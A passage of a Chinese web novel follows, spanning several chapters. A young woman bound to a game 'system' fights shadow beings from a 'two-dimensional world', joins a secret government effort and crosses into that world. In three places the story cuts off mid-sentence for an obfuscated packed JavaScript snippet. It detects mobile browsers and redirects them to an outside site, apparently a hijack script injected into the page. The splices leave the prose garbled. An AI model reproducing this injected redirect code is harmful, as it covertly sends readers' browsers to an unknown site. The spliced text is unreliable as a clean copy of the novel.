就算林筱不想招惹那个世界，那个世界也总是想方设法出现在林筱的周围。没有了小陆这个阻碍，今天晚上它们更加肆无忌惮。 隔着值班室的门，林筱都可以听见那隐隐约约的声音。 耳边是若有若无的呼唤，眼前是打得热火朝天的经典怪兽片，咽下嘴里最后一口面，林筱抬头看了眼紧闭的房门。 这可能是这间房内还能保持平静的结界。 这份宁静在这一片喧闹中带着无言的诱惑。不知不觉间，林筱已经站在了门前，手也已经握在了门把上。 她迟疑了一瞬。 看着就在不远处的手电，林筱拿起手机编辑了一则消息，随后打开了房门。 轻巧的门锁可以阻挡来自异世界的入侵，却无法阻止属于人类自己的越界，房门很快就被推出一条缝。 伴随着黑暗的入侵，房间内陡然下降了几度。 这一次她打开房门却没有系统提示，看来同样的规则，系统只会警告一次。这也意味着，她可以做出更多的尝试。 门外，是被光线穿透的黑暗。 细小的尘埃在光束中漫无边际地飘荡，细碎嘈杂的声响骤然放大，犹如无数人在她耳边私语，呢喃着不为人知的秘密。 她无视了这些异常，踏出了第一步。 一只脚迈入黑暗，一只脚却依旧停留在接近绝对的光明之中。迈入黑暗的那只脚犹如步入暗流，跨过轻微的阻断感之后是自由的滑动，上下的感知不一让她如同身处两个世界般不协调。 但这种不协调感并不需要林筱担心。 那种冰冷的不属于这个世界的气息顺着她踏入黑暗的脚向上蔓延，停留在黑暗与光明的分界线上。 她有将近1/4的身体被另一个世界夺走。 明明该是焦急不知所措的时候，林筱却摸了摸自己还处于光明之中的一小截腿。手指有感觉，但腿的感知却被剥夺，虽然费力但她还是能操控这条腿的。 她开始尝试拔出那只脚。 平缓的河流瞬间湍急，脚下如同刚形成漩涡般不断地施加压力，向下拉扯着她的腿。 林筱瞬间站立不稳，身体大幅度晃了一下，借着门框与手的相互作用强行将自己扯回值班室内。 冰冷麻木的感知在温暖的光线下逐渐消退，林筱有那么一瞬间真的感觉自己的灵魂被拉扯出身体，成为那一片黑暗中的一份子。 有了心理准备，她缓慢挪动那只脚缩回房内。来自光明的热度瞬间逼退浸入骨髓的寒凉，牵扯的力度随之减小。 越是到最后，她缩回腿的速度越快。 终于，她收复了失去的腿，完整地站在值班室内。 外面是失败者狼狈愤怒的哀嚎，是伪装失败后不管不顾地冲刺。她的眼前浮现出一层层涟漪，就像是被光照耀的河流，却无法穿透更深邃的黑暗。 她看不穿最深层的黑暗，它们突破不了光明的阻碍，一扇普通的木门将这一切再次分割为两个世界。 林筱活动了一下自己刚才被侵染的腿，确保没有留下后遗症。这个生物对人类的侵入能力超过她的想象，通过她亲身体验，她可以确认存在一个生物在争夺她对腿的支配权。 幸好光明是它们绝对的克星，不然她或许要想办法截肢保命了。 就在林筱准备结束今天的试探时，黑暗中慢慢有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073063|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物体迎着漏出的光线站起，向着值班室所在的位置逼近。 那是一个玩偶，一个在她刚才站立不稳时从腰间甩出的软绵布偶。 棉花填充的四肢费力地支起身子，在地面之上姿势诡异地爬行。黑线缝制的五官咧出奇怪的弧度，面对着林筱露出一个诡异的笑容。 它身后的阴影先是无限绵长，再是被吸食一般非正常速度缩短，在迈进光明与黑暗的分解线时被彻底吸收进布偶内。 那一瞬间，玩偶肉眼可见地变得鲜明生动。但同时，它也暴露在光线之下。 光明一直都是它们的弱点所在，勇闯绝地的玩偶也没有例外地倒向地面，再次成为没有活力的死物。 林筱不能确定，这是那个生物大无畏地前进，还是别有目的的到来。但为了避免它再次接触黑暗增强实力，她又不得不来到它的身边，俯身拾取。 人类的身体遮挡了上方的光线，骤然形成的阴影瞬间膨胀，靠近房门的那一排灯泡爆裂，留下侵入值班室的黑暗。 收敛的阴影和不动的身躯不是它们在畏惧灯光，而是苦心经营下的再一次入侵。 更多的灯光随着摇摇晃晃站立的玩偶熄灭，永远光明的值班室如今成为割裂的两半，但阴影却开始无处不在。 那种冰冷的气息开始填充整个空间，压迫着林筱靠近黑暗，融入黑暗，成为黑暗。但或许是三番两次的接触让她产生了抗性，她保留了自己的理智。 在这次试探前，她已经做好了失败的准备,所以也有了应对的措施。虽然值班室的损坏不在她的预估范围之内，但也不是毫无办法。 挂在腰侧的手电释放高强度的光，自上而下的角度占据位置优势，彻底笼罩整个玩偶。 虽然这里不再光亮，但这些灰黑的领域并没有林筱在值班室外感受的那么强烈。它们的力量源泉不是那个未知的世界，而是在这个玩偶身上。 被灯光直射的玩偶依旧顽强地向林筱扑来，黑线构成的五官拧成一团，鼻子在上眼睛在下，胡乱地摆放在中央。 本就不漂亮的玩偶直接变成恐怖玩偶。 林筱或许忌惮隐藏在黑暗的不知名生物，但拥有实体的东西并不在她的恐惧范围之内。顺手拿到的裁纸刀划开玩偶外面的那一层布，轻飘的棉花在空调的吹拂下弹射到空中，没有足够的填充物让玩偶更加难以维持自己的姿势，更别提行走。 有了实体，行动就会受到外在的限制，不再随心所欲。 灯光困住了它，失去力量来源和行动支撑的玩偶逐渐呈现出颓势，萎软地瘫坐在地面之上，留下一小块无法消去的阴影。 这次林筱没有靠近，依旧保持让玩偶完全笼罩在灯光下的状态，直到它彻底萎靡躺在地面，成为一个货真价实的破布娃娃。 头顶的灯发出“呲呲”的声响，火花在不经意间闪现，看似随时都可能进入报修的阶段却始终坚持在工作的岗位。 沉闷的铃声在林筱一旁的办公桌上突然响起。 “值班室出什么事了？我马上过来。”属于外界的声音传来，一切的嘈杂就像被按下了静止键，一下子就恢复了平静。 这是林筱决定开门前就已经定时发送给秦主任的短信起效果了。 她也是想赌一把。她猜测这位秦主任就是这些事情的知情者，所以在看到她的消息后肯定会回拨电话询问，而她也已经提前设置了自动接听。 “保持冷静，剩下的事情我们明天再讨论。”许久没等到回应，秦主任的声音也开始焦急。 随着他的话音落下，街道办的灯光都被远程打开，整栋建筑内亮如白昼，林筱甚至发现许多她之前没有发现的灯管灯泡。 “我没事。”过了一会，林筱才开口道。 挂断电话，她转移到看上去最明亮的位置，也没忘记带上她的玩偶。剩下的，就看明天秦主任怎么处理了。 9. 新手世界9 第二天一早，打开街道办事处大楼大门的秦主任第一眼就看到睡在大厅的林筱和被她握在手心的残破玩偶。 他实在不好昧着良心说这个玩偶好看，尤其是现在它还被破膛开肚，看上去可怜又可弃。 听到动静的林筱睁开眼，等到眼前的影像聚焦，这才认出了他是秦主任：“早上好。” 这个声音平静到诡异，该不会他们这个新入职的小员工在经历了昨晚的磨难后拿这个玩偶出气还不满足，现在又要对他这个办公室主任下手了吧。 “早上好。” 虽然有些奇怪这个秦主任的声音为什么听上去有些磕磕绊绊，但林筱现在也不想思考这些，指了指值班室的位置：“里面的灯坏了，该找人修了。” 如果说见到活人的秦主任还是乐呵呵的，但在听到值班室灯坏了之后他整张脸的神情顿时肃穆：“值班室？” 看来值班室的确是特殊的地方了。林筱捏着残破的玩偶，没有回答。 但下一秒，笑容满面的秦主任就将矛头指向了林筱：“昨天发生了那么多事，吓到了吧。放心，我们是为国家做事，从不会亏待手下的人。先做个体检，该休养的休养，该赔偿的赔偿，让你安安心心来，安安心心走。” 都没有问她昨天到底发生了什么事情就先急着让她体检，林筱看着表面和善姿态强硬的秦主任，站起身：“我先洗个脸。” * 体检中心的卫生间总有股无法消散的尿骚气，地板上也有着一块又一块黄色的污渍，是再多拖洗都无法消去的痕迹。 体检的项目和入职体检所经历的没有区别，以系统的能力，他们察觉不出异样。 林筱擦干净手，来到体检中心的一楼大厅，走向等待已久的秦主任。 “体检报告还有一段时间才会出来，我请你吃早饭。”秦主任依旧是那副与人无争的乐呵样子，拍了拍林筱的肩膀，“辛苦你了。” 林筱自然也是假装没看出秦主任想要限制她人身自由的意图，从容地点头：“那就让秦主任破费了。” 她也没想要离开。 就餐的地点就在办公室。王姐临时整理出一张小桌，摆满了各色餐点。 举起筷子的手在空中停顿，林筱看了眼桌上的早餐，又看着用刀切割大饼再用叉子叉起的秦主任，顿时觉得这种相互试探的事情毫无意义，面无表情地靠在椅背说道：“这个世界上有鬼。” 虽然小钱说王姐是快要退休的人，但从外表上看她也就四十出头，一袭长裙温柔知性，看着林筱的表情就像看待自家不懂事的孩子：“这种话最不该从我们嘴里说出来，这是封建迷信。” 林筱不耐烦地皱着眉，拿出一直没有放开的玩偶，摸了摸依旧柔软的脑袋，垂着眼扔到他们面前：“如果你们技术够好的话，说不定还能从它里面检测出不一样的东西。” 王姐身子晃了一晃，又被秦主任按住。这个笑面虎的脸上看不出任何有效信息：“是这个玩偶材料特殊吗？放心，如果是在我们这里损坏的，包赔。” 他们根本不信任她，或者说，不信她依旧是个人。但林筱已经不想和他们继续打太极，按照那个世界对她进攻的频率，下一次，她难逃被拽入另一个世界的结局。 她还不想才那么几天就被迫结束游戏。没有足够的价值，就无法接触系统的核心，更别提逃脱这里。 这是她从未接触的庞然大物，她必须要对它有足够的了解才能找到机会下手。 筷子被丢到桌上，清脆的声响打断秦主任他们做作的表演。林筱看着他们，冷淡地陈述：“成为笔试第一名当天，我的房间被不明存在搜查。 “面试前一天晚上，我差点被推到行驶的车辆前方，身后却没发现人。 “入职第一天晚上，我发现有东西藏在黑暗。 “第二天休息的夜晚，有东西偷袭，警局应该还有我的报警电话和一个犯罪嫌疑人。 “再就是昨天晚上，有声音引诱我出去，失败后附身我的玩偶对值班室造成破坏。” 她站了起来，居高临下地俯视秦主任他们：“我想我应该有权利知道发生在我身上的事情是怎么回事。” “发生了这么多事，你怎么还敢来上班？”秦主任没说好，也没说不好，依旧在那边含糊其辞。 “它们畏惧光，而值班室是我想到的最安全的地方。”林筱没有给他糊弄的空间，“畏光，可以附身物体行动，我目前能想象到的形象就只有鬼。” 她之前的确排除了鬼的可能性，但那是基于她忽视了它们可以附身非自然生物的可能。根据现在她所经历的一切，鬼就是那个最终答案。 “年轻人也不用那么武断，”秦主任依旧不打算回答，“有时候呢，这些恐惧都是人们臆想出来的。我们都是在科学社会长大的，都知道鬼这种生物是不可能存在的。我们换一个方向思考，小林，对吧，会不会你有梦游症？” 看来她之前错过了什么步骤，这才一直无法获得他们的信任。如果想要解决那种生物，和官方合作才是最好的办法，但也不是唯一的办法。 林筱没有胃口，转身就准备离开。 既然这条路已经走不通，她要开始思考别的办法，就比如留下联系方式的警局，或者写下那篇文章的作者。 “等等，别心急嘛。”秦主任在林筱的身后突然开口，“你们年轻人就是沉不住气。来，坐会，我们聊聊。” 体检报告出来了。 这么点时间，只可能是加急处理的体检出结果了。 林筱转过身，看着丝毫没有因为改口而尴尬的秦主任，站在了原来的位置旁边：“您说。” “年轻人，还挺客气。”秦主任丝毫不觉得尴尬地笑了笑，“是这样的，体检报告我们刚才看了，没什么问题。你的疑问我们也知道，那现在有两个解决方案。一个，你回去等消息，七个工作日内我们肯定给你答复。还有一个，你可能要先签一些文件，我们再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073064|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨论。” [恭喜玩家触发隐藏任务：来自世界另一面的秘密。 完成该任务玩家可获得额外加分，失败不扣分，请玩家量力而行。] 系统的提示音总在不经意间响起。 虽然它不是什么好东西，但它的提示却可以提醒她任务完成的进度。从这则通知来看，她的方向没有错误，她提前接触了任务的谜底。 “文件在哪里？”林筱看着整齐透明的办公室，不确定他们会不会把那么机密的文件资料藏在这里。 “你等一下，”秦主任摘下眼镜，拿起手机摆在面前，食指还在努力翻找，“小王，打印机开了吗？把这份文件打印一下，打印完记得销毁原始文件。” 这个保存方式比她想象的还要粗糙，这些人真的靠谱吗？ 王姐熟练地操作系统，打印机流畅地吞吐出白色的纸张，提交给林筱。 林筱拿到手的文件其实并没有几行字。她也没细看，确认就是和那个世界相关的文件后就干脆利落地签下自己的名字。 “现在可以说了？” “现在的年轻人啊，”虽然秦主任心里早有准备，但还是被林筱这过于爽快的动作噎了一下，“一点警戒心都没有。你就不怕我们把你卖了？” 听到这话的林筱无意识地挑了挑眉：“不是你们说的科学社会？既然是科学社会，那就要遵纪守法，依法办事。你们要做法律不允许的事情？” “你没必要挑衅给我们，我们也是按照纪律办事。”王姐整理好文件，放进随身携带的包内，随意地甚至比不上她宝贝孙女的作业，“你签了协议，你就可以知道你能知道的事情。先坐下吧。” 林筱绕着沙发走了半圈，坐在座椅的最中间。 “和你猜的一样，这个世界的确存在不被广大民众知道的另一面。”王姐搅和着没有完全融化的蜂蜜，余光瞥到还没怎么动的早餐，“你的早饭还没吃吧，先吃点垫垫肚子。” 这一次，林筱没有拒绝递到手边的包子。 “和你描述的一样，他们畏光，还会附身。”王姐喝了一口蜂蜜水润润嗓，“附身之后的人无法读取宿主的记忆，但可以在短时间内模仿附近的人类并迅速融入。” 所以这也是秦主任他们为什么会那么浮夸地吃着早餐的原因，就是想看她会不会模仿学习。 “还有一个特点，他们体检的指标会有几项出现明显异常。但具体是哪几项就不方便透露了，你可以知道的就是你的体检结果没有问题。” “它们什么时候入侵这个世界的？”林筱对这些鉴别要点并不感兴趣，只想了解更关键的信息。 “三十年前。” 这个时间比林筱想象的还要早，但王姐说话的语气却很平淡：“当时第一个来到这个世界的他附身到一个比较富有的人家。他的家人发现了他的行为异常，将他送进了精神病医院，导致整个医院都陷入阴影之中。” “于是，我们发现了它。” 10. 新手世界10 “你有没有想过，这个世界并不是你看到的样子？” 秦主任这句话出来后，整个办公室陷入了奇怪的安静中。 过了一会，林筱肯定地回答：“我们对世界的认知从来都是浅薄的。” 古时人们认为天圆地方，世界的中心也从地球到太阳，再到人们承认自己的无知。人类对世界的认知总是在不断探索中重写，而目前，他们还没有看到这条路的尽头。 就像现在，在世人还在为是否存在外星人而争论不休时，她已经遇到了小说中才会出现的角色：系统。 在探索世界的这条路上，她已经超越了绝大多数人。 “小林年纪虽小，但见识不小。”秦主任乐呵呵地说道，看着林筱的眼神慈祥和善，“这么优秀的孩子，未来还有很多事情在等待你，你要不再考虑一下？” 林筱能听出秦主任的劝阻，但是她和他们不一样。不接触真相，她就会离活下去越来越远。“告诉我接下来要做什么。” 都是成年人，劝过一回就不会继续做无用功。 王姐看见这边秦主任失利，抿了一口蜂蜜水：“就和你现在的猜想一样，起初我们也怀疑是鬼怪入侵，所以召集了全国能人异士来到那家精神病院。” “但是失败了。”林筱说得很肯定。 这也是必然的，如果当时他们能够控制住那些存在的入侵，现在也不会出现值班这个特殊岗位。 王姐无奈地笑了一下，点头：“惨败。所以现在那所精神病院甚至已经不存在于这个世界的任何一个地方。” 这个消息是林筱所没有预料到的，所以那个世界还可以干涉这个世界实际存在的事物？ 王姐看着陷入沉思的林筱，正是人生最美好的年华，轻声道：“它们比你想象的还要厉害。趁现在还没怎么深入了解，就像你们秦主任说的，你还有机会离开去获得另一个光明的未来。我们可以给你写推荐信，只要是你想去的岗位我们都会尽可能帮你这争取。” 看得出，秦主任和王姐都是好人，可惜他们的这份感情终究要错付。“没有什么比在无知中死亡更加可怕。” 秦主任沉默了一会：“记得在系统内部录入遗书。” 这算是正式接纳她了。 王姐也叹了口气：“那我继续说。虽然行动失败了，但我们也发现了他们的弱点，利用光照解决了剩下的人。但好景不长，很快我们在另一个景区附近发现了同样的事情。” “于是我们确认，这不是一起偶然事件，而是一场精心策划的侵略。我们是被侵略的一方。”秦主任接过话，“我们称呼那个世界为：二维世界。” 一个名字的诞生都是有原因的，而这个名字也代表着林筱之前的探索还没有深入到它们真正的核心。 “你们年轻人应该比我们更懂这些概念。”秦主任摸了摸下巴，“就像漫画之类的，它们就出自那里。虽然只是一个二维世界，但也有自己的一套社会等级制度，同样会对它们自己的世界尽忠，被捕捉到时还会选择自尽。” 他们的目光不由自主地挪到被扔到桌子上的破破烂烂玩偶。 林筱快速讲了一遍昨晚的事情，包括发生在这个玩偶身上的事情。直到现在，她其实也不确定附身在玩偶身上的存在还活没活着。 “送到实验室。”秦主任立马拍板，看到林筱还有些不舍的表情露出一个看待小辈的笑容，“如果你舍不得，我可以让人找一个一样的。或者等实验结束再还给你。” “不用了。”林筱摇头。 让她不舍的，不是这个玩偶，而是送她玩偶的人，只是觉得辜负了林洛的好意。 “这些年来我们主动被动收集的敌人不少，也让我们成功获得了一些信息。”秦主任将玩偶存入特殊的箱子内也没再关注，继续给林筱补充基础知识，“它们来自二维世界，而阴影就是二维世界与三维世界的交接点。在阴影中，它们处于虚实交错的状态，所以一些特殊物品也能对它们造成伤害。” 王姐在一旁翻出几张符，对着林筱疑惑的眼神一本正经地介绍：“在我国古代朴素的世界观内，阴和阳就是世界基础的组成部分。二维世界就是那个属于阴的部分，阴阳相克，带有阳属性的物质就能对它们造成伤害。有条件可以选择火，没条件可以随身携带符箓。这其中，以五雷符效果最好。” 林筱默默看着他们，很真诚地发问：“是因为建国以后不允许出现鬼，所以你们才特意取名叫二维世界的吗？” 王姐呛了一声，连忙解释：“这只是巧合。” “这真的是巧合，恰巧这些符箓有用而已。”秦主任也在一旁郑重解释，“之所以取名二维世界，是我们根据自愿去探索那个世界的烈士送回来的信息总结归纳而成。” “我们发现光是它们的弱点，所以诞生了值班这个特殊的岗位。但只守不攻是远远不够的，所以部分年轻人和已经退休的人自愿进入阴影，成为我们探索那个世界的先锋。”王姐放下已经空了的水杯，叹了口气，“但除了送回来的信息，我们再也没见过他们。” 守护一个世界，从来都不是守着一盏灯那么简单。在暗处，总有人负重前行。 “它们最近进攻的频率加快了？”抛去那些沉重的事情不谈，林筱合理提出怀疑。 对面的两个人沉默了一下，苦笑：“是的。” 这其实不难猜测。虽然秦主任他们说得含蓄，但还是被林筱在网络上找到了蛛丝马迹。 第一个被阴影附身的人家里虽然不是大富，但出身书香门第，祖传的园林小院是几百年前的古迹。第二个被发现的人在景区，应该也是在名胜古迹处被附身。再联想值班室的分布，很容易得出一个结论： 它们总是出现在古迹附近。 如果只是这样，控制住古迹附近的人口流动就行。但林筱第一次遇到它们可不在什么古迹，那里只能说是有些年代的老区，撑死也就几十岁的老房子。 这也就意味着，它们的活动范围增大。 “二维世界，不仅代表它们生活在如阴影般的平面，其实也在暗示它们跟生活在漫画里的人物一样，”王姐注视着林筱，“它们的实力会随着流传度而提高。 “根据我们这些年的统计与分析，它们占领这个世界的面积越来越大，实力也越来越高强。而达到质变的那个时间分界线，就是在午夜黑影的故事流传后。” 势力面积的增大和实力的增强她算是都切身领会过，但午夜黑影这个故事在这场变故中居然占据反派角色倒是林筱没有意料到的事情。 差点她就要去投奔幕后黑手了。 果然这个任务陷阱无处不在，就算是系统口中的新手世界也不容小觑。 “不能阻止这个故事的流传？” “不是不能，是做 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果然，他们只是想让她知情，而不是让她真正参与。 “王姐快退休了？”话是疑问句，但语气却非常笃定。 被提到的王姐点了点头，没有意识到问题的严重性。 “我和王姐一起去那个世界。”林筱说得很肯定。 之前秦主任他们就提到过，上面会派遣一些自愿前往的年轻人和退休人员去探索那个世界。王姐如果真的要退休，她就应该逐渐将手里的事情交出去，而不是随身携带五雷符时刻做好准备。 这就意味着，王姐也选择在退休后去探索那个世界。 她是一个新人，除了被二维世界的生物攻击外没有其他特殊之处。想要更进一步，就得做出贡献。 被系统绑定的她可以抵抗二维世界生物的诱惑，相对其他本土成员在那个世界有更高的存活率。 俗话说的好，不入虎穴焉得虎子。 只有进入那个世界，她才能知道隐藏在它们之中的秘密，并且解决它们。就算没有办法解决它们也没关系，她有三条命，正好可以体验一下死亡的感觉。 死亡并不可怖，她只是不喜欢无意义的失败。 没有预料到林筱会说出这句话的两人一时之间也不知道做出什么反应。 见过贪生怕死的，没见过赶着送死的。 不等他们继续劝说，门外开始出现人声和脚步声，嘈杂的声响带来了世俗的热闹。 看时间，差不多到上班的点了。 秦主任只能一脸嫌弃地将林筱赶了回去，和坐在隔壁沙发的王姐相对无语。 过了一会，他才长叹道：“现在的年轻人啊。” 王姐给自己续上一杯柠檬水，热气蒸腾中柔和了眉眼的严肃：“有冲劲。” 回到家中的林筱才接收到秦主任的短信：如果你真的想进入二维世界，再联系你们王姐。但这不是旅游，目前我们对那个世界也只是一知半解，甚至还没有人活着从那里出来，能带回来信息已经是目前最好的结局。我希望你能够考虑清楚，你还年轻，不要一时冲动。 和磨磨唧唧大半天才发消息的秦主任不同，林筱看完消息就立马回复：收到。 手机界面回到发送信息的页面，收信人王姐，内容只有五个字：我要去那里。 11. 新手世界11 林筱站在单位附近的古楼前。 这是一栋很典型的古建筑，红墙绿瓦，木质材料上能看出风雨雕刻的痕迹。阳光之下，琉璃瓦折射出刺目的光闪，古楼的阴影覆盖到周边的绿荫之上，倒是不见夏日的热烈。 如果不是秦主任和王姐对她提起，她想不出这里会是一切的起源。 最初出现事故的是这里，午夜黑影的故事最早的发布位置也是这里，甚至街道办事处的前身就是那个精神病院。 这里，是公认的两界通道点之一。 值班室被袭击的事情上报后引起了上面的轰动。它们突然的激进行为代表二维世界有了他们不知道的变化，为了不让自己沦为劣势，上面组建了几支敢死队前往二维世界。 古钟楼这边，就由王姐和她前往。时间就在今天晚上，所以她特意来踩个点。 到了夜晚，从值班室门口到钟楼前开辟出一条全新的光路。无数的灯光聚拢形成一个明亮的包围圈，也就是他们临时的汇合点。 王姐已经在那里等待她。 周围的工作人员还在帮她们准备各种设备，包括但不限于各种符箓手电。林筱甚至看见了西方的十字架和大蒜被挂在了胸前。 王姐看见她就调侃：“年轻人就是心态好，一点也不紧张，不像我早早就等在这里。” “紧张也没用。”林筱和她打了声招呼，张开手方便工作人员给她套上特制外套，在有限的负重内尽可能地塞了更多的防护用具，一脸无所谓，“现在还是等会？” 工作人员为她们做好最后的整理工作，神色凝重而敬佩地站在一旁看着她们。 王姐深吸了一口气，皎洁的月光撒在她们前行的道路，留下斑驳的光亮。她没有再看熟悉的同事，闭着眼生怕自己因为留恋而迟疑：“走吧。” 前方的道路并没有安排灯光，随着她们越来越接近钟楼，身前的阴影也逐渐庞大，斜斜地映在钟楼的台阶上。 她们跨入钟楼，就像投入阴影的怀抱，消失在众人的眼前。 * “啦啦啦，啦啦啦，明天我就发达啦。” 荒腔走板的歌声在耳边就像驱逐不尽的蚊子般扰民，林筱睁开眼，看到的却是五彩斑斓的黑。 那是有着不同灰度的世界，但偶尔也能从纯黑中看出红蓝色泽的痕迹。素描般的世界只能左右上下，她感觉不到身体的宽度，却能自由移动。 她和王姐进入钟楼后就失去了意识。她能感觉到那种灵魂与□□剥离的感觉，但不知道是不是多次的试探让她产生了抗体，所以在这个过程中她的意识是清醒的。 清醒是一回事，但面对穿越世界的强压，她还是没能逃过昏厥。在昏迷前一秒，她看见了钟楼内部躺着她们两人的身体，就不知道会不会被其他东西穿上。 左手传来的牵扯感强迫她向左移动，林筱这才想起这里除了自己还有别人。 也不能说是别人，应该说别的二维世界生物。 她扭头看了过去。 扭头的这个行为很难以言语描述。因为这个世界不存在第三个维度，它们只能在平面上移动，扭动这个包含三维空间的概念不存在于这个世界，但她却能清晰地看见左边的那个生物。 那是一个完整的人形。这个完整是指头身体四肢齐全，之所以说是人形，那是因为这就是一个简笔画火柴人。 一个圆圈和几根线条组成的那种。 不科学的世界不能用科学来解释，明明那个圆圈内没有五官，但林筱还是感觉到它在说话：“你醒了呀。” 林筱下意识地挥了挥手：“你好。” 她在这个世界也有了新的形态。和火柴人不一样，她的形象大致就是比较精致的素描人像。不同灰度的线条勾勒出肌肉纹理，甚至还会随着她的移动出现不同的褶皱纹理变化。 虽然有些意外，但她可以确定自己感知到火柴人羡慕的情绪。 “猎食失败了？”火柴人遗憾地安慰她，“不用难过，下次继续努力，总有一天我们也可以生活在阳光下。” 猎食可能是代指它们取代人类的行为，但下句话也解释了她之前一直觉得别扭的地方——这个世界没有光。 这里的天空是空白荒芜的，就像个残缺品。 “两年时间而已，阳光很快就会属于我们的。”这是打入敌营的好机会，林筱自然不会错过，顺势接下话来。 比起这里生长的人类，林筱有一个他们没有的优势：她知道这个世界本该消亡的时间。系统不会提出一个无用的任务时间，这个两年必然有它的用途。 果然， “都是觉醒者的荣光指引我们前行。” 火柴人不仅没有对这个数字表示疑惑，甚至虔诚地俯首祈祷。 这个俯首就有些恐怖故事的意味了，代表身体的线条插入代表头颅的圆形，远看就像是个上吊的人形。 林筱也随大流地俯首。她不知道自己现在的形象会变成怎么样，但绝对不会比火柴人更差。 觉醒者，显然就是这个世界的重要人物，甚至可能就是这个世界的核心人物。哪怕能套出一点关于它的消息带回现实，也能给外面的现实世界带来不一样的变化。 “也不知道什么时候能见觉醒者一面。”林筱试探着说道。 “觉醒者可不是随便什么人都能看见的，”火柴人控制不住自己的嫉妒，“但你们这些贵族能见到觉醒者的可能性当然会比我们大。” 贵族。 又有一个新的名词了。 从字面意义上看，她现在的外形或者其他特质符合这个世界贵族的标准，既然有贵族，那火柴人代表的就是更低阶级的存在。 最大的可能性，这个世界的地位就是靠人物精致程度来辨别的。甚至，这个世界的生物有相互捕猎的习性。 林筱可没有忘记在她昏迷的时候，是这个火柴人拖着她前行的。纯黑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073066|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线条绑在她的左手，就像是在一件货物般。 不过那根线条在她清醒后颜色逐渐浅淡，很快就被火柴人收回，而她则在之后有了更清醒的意识。 这很难不让她怀疑她是在消化完这根线条后实力得到了增益。 火柴人想要吃掉她实现阶级跨越，她也想利用火柴人了解这个世界，就看谁能活到最后了。 林筱假装看不见火柴人的嫉妒，语气中模仿着属于部分贵族天真浪漫的气息：“真希望有一天能亲眼看见它。” 然后杀掉它。 二维世界的情绪是极其容易被捕捉的，所以火柴人很快收拾好自己的心情，或许还带着嘲讽这个无知贵族的得意，炫耀道：“我虽然不知道觉醒者现在在哪里，但我知道在中央城的宫殿里，有一本专门记载它的荣光。” “这是真的吗？”虽然这做作的语气让林筱恶心，但她还是完美控制住自己的本能，“可是那里可以随便我们参观吗？” “普通人当然不行，但我有一个兄弟在那里值守，我们可以偷偷进去。”火柴人得意地叉腰，“你也不要和别人说哦。” “嗯呐。”她当然不会和别人说，她甚至会在背下里面的内容后烧了它们的宫殿再栽赃给这个火柴人的尸体，让它为她发挥最后的余热。 两个各怀心思的东西在火柴人的带领下来到一扇朴素的门前。在说出“开门”后，他们来到了新世界。 熟悉的黑暗过后，林筱就发现自己转移了空间，来到了一个陌生而狭窄的平面。 杂乱的房间内是模糊成团的黑色污渍，周围有看上去像桌子的线条，只不过桌上的东西却是奇形怪状，飘荡在东西上方的几根扭曲线条暗示着这里散发着诡异的气味。 林筱没有感觉到气味，但一旁的火柴人已经痛苦到直接把自己的头拧下来了。 就是字面意义上地拧下来，它的脚甚至非常熟练地把头踢到房门口呼吸新鲜空气。 为了不引起怀疑，林筱还是装出了难受的样子：“你不是说书在中央城的宫殿吗？这里这么破烂，怎么可能是中央城的宫殿！” “我们当然不可能从大门进去，”在地面滚动的圆形发出声音，在这个奇怪的房间内更显得诡异，“这是宫殿角落的杂物间，也是我兄弟休息的地方。从这里出去，也是距离那本书最近的杂物间。 “我没有通知我的兄弟。我们悄悄地去，不要惊动其他人。” 这些火柴人在这个世界的待遇和历史中的奴隶相差无几，所以它才会那么迫切地想要实现阶级跨越，甚至都不去了解一下想要下手的对象是怎么样的存在。 这份急迫恰好是她可以利用的东西，没有外人的存在也就意味着真相可以被完美隐藏。 “那我们快点去吧。”林筱这回是真心实意地催促，“我真的迫不及待想见证觉醒者的荣光了。” “我也期待着。”在门外将自己组建完成的火柴人也由衷地感慨道。 12. 新手世界12 就像火柴人说的一样，他们只移动了几步就来到了一个金碧辉煌的宫殿。 这就跟她没有转头就能看见火柴人一样，明明都是一样的黑白色调画面，当林筱进入这里时，浮现在她脑海的只有“金碧辉煌”这几个字。 除了颜色，房间内的细节符合通俗意义上的奢华，就连墙壁的线条看上去都比火柴人流畅自然。 但最显眼的，还是位于正中的书籍。 那是一本浑身散发光芒的书。 不同灰度的世界中突然出现一大块纯白区域，就像是深陷黑暗中突然有人拿光照你的眼。那种感觉不是看见光明的喜悦，而是疼痛。 视网膜被烧灼的疼痛。 也就是林筱现在的感觉。 